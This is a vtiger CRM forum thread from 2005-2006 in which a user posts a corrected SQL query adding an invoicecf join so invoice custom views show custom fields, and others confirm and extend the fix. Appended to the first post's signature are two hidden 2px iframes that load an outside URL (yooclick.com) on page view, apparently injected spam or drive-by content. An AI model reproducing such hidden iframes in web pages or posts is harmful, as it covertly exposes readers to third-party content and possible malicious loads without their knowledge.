custom invoice view using custom fields fix (4.2 Patch 2)

gtyerman · October 2005

When creating a invoice custom view that contains a custom field no results are displayed.

The code in include/utils.php is missing the sql inner join for invoicecf the following code replaces the original lines

if($module == "Invoice")
{
$query = "select crmentity.*, invoice.*, invoicebillads.*, invoiceshipads.*, invoicecf.* ,salesorder.subject as salessubject from invoice inner join crmentity on crmentity.crmid=invoice.invoiceid inner join invoicebillads on invoice.invoiceid=invoicebillads.invoicebilladdressid inner join invoiceshipads on invoice.invoiceid=invoiceshipads.invoiceshipaddressid left outer join salesorder on salesorder.salesorderid=invoice.salesorderid inner join invoicecf on invoice.invoiceid = invoicecf.invoiceid where crmentity.deleted=0".$where;
}

Geoff <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

jeri · October 2005

hi geoff
thank you for your fix.we have integrated it in our product.also we expect the same in future

thanks & regards
jerry

KLeo · November 2005

same problem with salesorder, vendor, purchaseorder, quotes !!!

"gtyerman&quot wrote:

when creating a invoice custom view that contains a custom field no results are displayed.
geoff

KLeo · November 2005

when are creating a custom view in modules salesorder, vendor, purchaseorder, quotes and invoice that contains a custom field no results are displayed.

this fix it.

more thanks to gtyerman for fix in invoice-module !!!

kleo

raj · November 2005

dear leo,

thanks for giving the fix, it is integrated and available in vtigercrm 4.5 alpha which is scheduled to release on second week of december.

thanks & regards,
raj

philip · January 2006

hi everybody,

please be informed that the vtigercrm 4.5 alpha release with the fixes you have provided will be made available by this month.

philip

jshope · January 2006

i'm having good luck with this patch so far <img src="{smilies_path}/icon_cool.gif" alt="8)" title="cool" /> thanks kleo & gtyerman <img src="{smilies_path}/icon_exclaim.gif" alt=":!:" title="exclamation" />

~jim (central pa)

Howdy, Stranger!

Categories

custom invoice view using custom fields fix (4.2 Patch 2)

Comments